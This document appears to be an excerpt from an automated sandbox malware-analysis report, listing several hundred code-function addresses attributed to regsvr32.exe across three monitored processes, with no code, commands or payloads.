Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800141C8	3_2_00000001800141C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B1D4	3_2_000000018002B1D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023DDC	3_2_0000000180023DDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800165E4	3_2_00000001800165E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029DF0	3_2_0000000180029DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015DF4	3_2_0000000180015DF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800011F4	3_2_00000001800011F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FE08	3_2_000000018000FE08
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180027E14	3_2_0000000180027E14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B618	3_2_000000018000B618
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023220	3_2_0000000180023220
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020A34	3_2_0000000180020A34
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007634	3_2_0000000180007634
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022E38	3_2_0000000180022E38
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E638	3_2_000000018000E638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010250	3_2_0000000180010250
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180026A64	3_2_0000000180026A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004264	3_2_0000000180004264
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013674	3_2_0000000180013674
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F678	3_2_000000018000F678
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E278	3_2_000000018000E278
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180005E7C	3_2_0000000180005E7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025E88	3_2_0000000180025E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002868C	3_2_000000018002868C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014E98	3_2_0000000180014E98
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014AA4	3_2_0000000180014AA4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800126A8	3_2_00000001800126A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800036A8	3_2_00000001800036A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002A6BC	3_2_000000018002A6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CABC	3_2_000000018001CABC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000EAC0	3_2_000000018000EAC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B6D4	3_2_000000018001B6D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F2DC	3_2_000000018000F2DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800202E0	3_2_00000001800202E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800226E0	3_2_00000001800226E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019AF0	3_2_0000000180019AF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BEF0	3_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012EF8	3_2_0000000180012EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029710	3_2_0000000180029710
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017710	3_2_0000000180017710
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C740	3_2_000000018000C740
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180020F44	3_2_0000000180020F44
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023B48	3_2_0000000180023B48
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023748	3_2_0000000180023748
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021754	3_2_0000000180021754
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022358	3_2_0000000180022358
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029F5C	3_2_0000000180029F5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002B368	3_2_000000018002B368
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001BF70	3_2_000000018001BF70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025374	3_2_0000000180025374
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007F74	3_2_0000000180007F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180021F7C	3_2_0000000180021F7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180019788	3_2_0000000180019788
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001B8C	3_2_0000000180001B8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028394	3_2_0000000180028394
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013B94	3_2_0000000180013B94
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001479C	3_2_000000018001479C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E7A0	3_2_000000018000E7A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800087A4	3_2_00000001800087A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017BA8	3_2_0000000180017BA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000EBAC	3_2_000000018000EBAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B3B8	3_2_000000018001B3B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180012BB8	3_2_0000000180012BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800257C0	3_2_00000001800257C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008BC0	3_2_0000000180008BC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800117C4	3_2_00000001800117C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800227E0	3_2_00000001800227E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_001C0000	4_2_001C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800083F8	4_2_00000001800083F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026410	4_2_0000000180026410
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000680F	4_2_000000018000680F
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025C30	4_2_0000000180025C30
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013674	4_2_0000000180013674
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017C8C	4_2_0000000180017C8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000A48C	4_2_000000018000A48C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180011CCC	4_2_0000000180011CCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BEF0	4_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029710	4_2_0000000180029710
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026F14	4_2_0000000180026F14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023748	4_2_0000000180023748
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001D58	4_2_0000000180001D58
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002B368	4_2_000000018002B368
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001378	4_2_0000000180001378
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180010590	4_2_0000000180010590
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800091A8	4_2_00000001800091A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800165E4	4_2_00000001800165E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018FE8	4_2_0000000180018FE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001ABE8	4_2_000000018001ABE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029DF0	4_2_0000000180029DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800243F4	4_2_00000001800243F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015DF4	4_2_0000000180015DF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800011F4	4_2_00000001800011F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800247FC	4_2_00000001800247FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001DBFC	4_2_000000018001DBFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000FE08	4_2_000000018000FE08
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001100C	4_2_000000018001100C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180027E14	4_2_0000000180027E14
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B618	4_2_000000018000B618
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023220	4_2_0000000180023220
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180027C28	4_2_0000000180027C28
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020A34	4_2_0000000180020A34
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007634	4_2_0000000180007634
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022E38	4_2_0000000180022E38
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E638	4_2_000000018000E638
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002143C	4_2_000000018002143C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001303C	4_2_000000018001303C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A840	4_2_000000018002A840
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180003840	4_2_0000000180003840
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B444	4_2_000000018000B444
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F048	4_2_000000018000F048
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002AC4C	4_2_000000018002AC4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180010050	4_2_0000000180010050
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180010250	4_2_0000000180010250
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180003050	4_2_0000000180003050
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180011E5C	4_2_0000000180011E5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000445C	4_2_000000018000445C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C85C	4_2_000000018000C85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180003460	4_2_0000000180003460
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026A64	4_2_0000000180026A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004264	4_2_0000000180004264
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029C6C	4_2_0000000180029C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001586C	4_2_000000018001586C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000406C	4_2_000000018000406C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E06C	4_2_000000018000E06C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BC70	4_2_000000018000BC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F678	4_2_000000018000F678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E278	4_2_000000018000E278
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001447C	4_2_000000018001447C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180005E7C	4_2_0000000180005E7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026C80	4_2_0000000180026C80
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180010C84	4_2_0000000180010C84
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025E88	4_2_0000000180025E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016088	4_2_0000000180016088
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002888	4_2_0000000180002888
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002868C	4_2_000000018002868C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000FC8C	4_2_000000018000FC8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002D098	4_2_000000018002D098
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014E98	4_2_0000000180014E98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014AA4	4_2_0000000180014AA4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800126A8	4_2_00000001800126A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800036A8	4_2_00000001800036A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800154B8	4_2_00000001800154B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A6BC	4_2_000000018002A6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001CABC	4_2_000000018001CABC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000EAC0	4_2_000000018000EAC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002C6C8	4_2_000000018002C6C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002C2C8	4_2_000000018002C2C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800064D0	4_2_00000001800064D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B6D4	4_2_000000018001B6D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800180D4	4_2_00000001800180D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800054D8	4_2_00000001800054D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F2DC	4_2_000000018000F2DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800202E0	4_2_00000001800202E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002CCE0	4_2_000000018002CCE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800226E0	4_2_00000001800226E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800254E4	4_2_00000001800254E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800184E8	4_2_00000001800184E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800010E8	4_2_00000001800010E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019AF0	4_2_0000000180019AF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E8F0	4_2_000000018000E8F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A0F8	4_2_000000018002A0F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012EF8	4_2_0000000180012EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019900	4_2_0000000180019900
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180011904	4_2_0000000180011904
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F908	4_2_000000018001F908
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002490C	4_2_000000018002490C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001890C	4_2_000000018001890C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001D510	4_2_000000018001D510
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017710	4_2_0000000180017710
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180003D18	4_2_0000000180003D18
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002191C	4_2_000000018002191C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016320	4_2_0000000180016320
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001D128	4_2_000000018001D128
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000D12C	4_2_000000018000D12C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014930	4_2_0000000180014930
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008534	4_2_0000000180008534
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000C740	4_2_000000018000C740
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020F44	4_2_0000000180020F44
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001CD44	4_2_000000018001CD44
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023B48	4_2_0000000180023B48
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B948	4_2_000000018000B948
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021754	4_2_0000000180021754
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022358	4_2_0000000180022358
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029F5C	4_2_0000000180029F5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000796C	4_2_000000018000796C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001BF70	4_2_000000018001BF70
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025374	4_2_0000000180025374
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007F74	4_2_0000000180007F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021F7C	4_2_0000000180021F7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019788	4_2_0000000180019788
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001B8C	4_2_0000000180001B8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028D94	4_2_0000000180028D94
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028394	4_2_0000000180028394
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013B94	4_2_0000000180013B94
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001479C	4_2_000000018001479C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E7A0	4_2_000000018000E7A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800087A4	4_2_00000001800087A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180017BA8	4_2_0000000180017BA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000EBAC	4_2_000000018000EBAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012BB8	4_2_0000000180012BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001B3B8	4_2_000000018001B3B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800171B8	4_2_00000001800171B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018DBC	4_2_0000000180018DBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800257C0	4_2_00000001800257C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008BC0	4_2_0000000180008BC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800117C4	4_2_00000001800117C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800141C8	4_2_00000001800141C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002B1D4	4_2_000000018002B1D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180023DDC	4_2_0000000180023DDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800227E0	4_2_00000001800227E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF75312B0	5_2_000007FEF75312B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF753443C	5_2_000007FEF753443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF75353FB	5_2_000007FEF75353FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7534A70	5_2_000007FEF7534A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7535E01	5_2_000007FEF7535E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7535CAD	5_2_000007FEF7535CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7536850	5_2_000007FEF7536850
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00140000	5_2_00140000
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026410	5_2_0000000180026410
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025C30	5_2_0000000180025C30
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001D58	5_2_0000000180001D58
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180011E5C	5_2_0000000180011E5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002C6C8	5_2_000000018002C6C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002C2C8	5_2_000000018002C2C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026F14	5_2_0000000180026F14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016320	5_2_0000000180016320
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001378	5_2_0000000180001378
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018FE8	5_2_0000000180018FE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001ABE8	5_2_000000018001ABE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800243F4	5_2_00000001800243F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800083F8	5_2_00000001800083F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800247FC	5_2_00000001800247FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001DBFC	5_2_000000018001DBFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001100C	5_2_000000018001100C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180027C28	5_2_0000000180027C28
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002143C	5_2_000000018002143C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001303C	5_2_000000018001303C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A840	5_2_000000018002A840
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180003840	5_2_0000000180003840
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B444	5_2_000000018000B444
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F048	5_2_000000018000F048
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002AC4C	5_2_000000018002AC4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180010050	5_2_0000000180010050
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180003050	5_2_0000000180003050
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000445C	5_2_000000018000445C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C85C	5_2_000000018000C85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180003460	5_2_0000000180003460
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029C6C	5_2_0000000180029C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001586C	5_2_000000018001586C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000406C	5_2_000000018000406C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E06C	5_2_000000018000E06C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BC70	5_2_000000018000BC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001447C	5_2_000000018001447C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026C80	5_2_0000000180026C80
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180010C84	5_2_0000000180010C84
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016088	5_2_0000000180016088
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002888	5_2_0000000180002888
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017C8C	5_2_0000000180017C8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FC8C	5_2_000000018000FC8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002D098	5_2_000000018002D098
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800154B8	5_2_00000001800154B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180011CCC	5_2_0000000180011CCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800064D0	5_2_00000001800064D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800180D4	5_2_00000001800180D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800054D8	5_2_00000001800054D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002CCE0	5_2_000000018002CCE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800254E4	5_2_00000001800254E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800184E8	5_2_00000001800184E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800010E8	5_2_00000001800010E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E8F0	5_2_000000018000E8F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A0F8	5_2_000000018002A0F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019900	5_2_0000000180019900
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180011904	5_2_0000000180011904
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F908	5_2_000000018001F908
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002490C	5_2_000000018002490C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001890C	5_2_000000018001890C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001D510	5_2_000000018001D510
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180003D18	5_2_0000000180003D18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002191C	5_2_000000018002191C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001D128	5_2_000000018001D128
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D12C	5_2_000000018000D12C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014930	5_2_0000000180014930
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008534	5_2_0000000180008534
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CD44	5_2_000000018001CD44
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B948	5_2_000000018000B948
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000796C	5_2_000000018000796C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180010590	5_2_0000000180010590
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028D94	5_2_0000000180028D94
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800091A8	5_2_00000001800091A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800171B8	5_2_00000001800171B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018DBC	5_2_0000000180018DBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800141C8	5_2_00000001800141C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B1D4	5_2_000000018002B1D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023DDC	5_2_0000000180023DDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800165E4	5_2_00000001800165E4
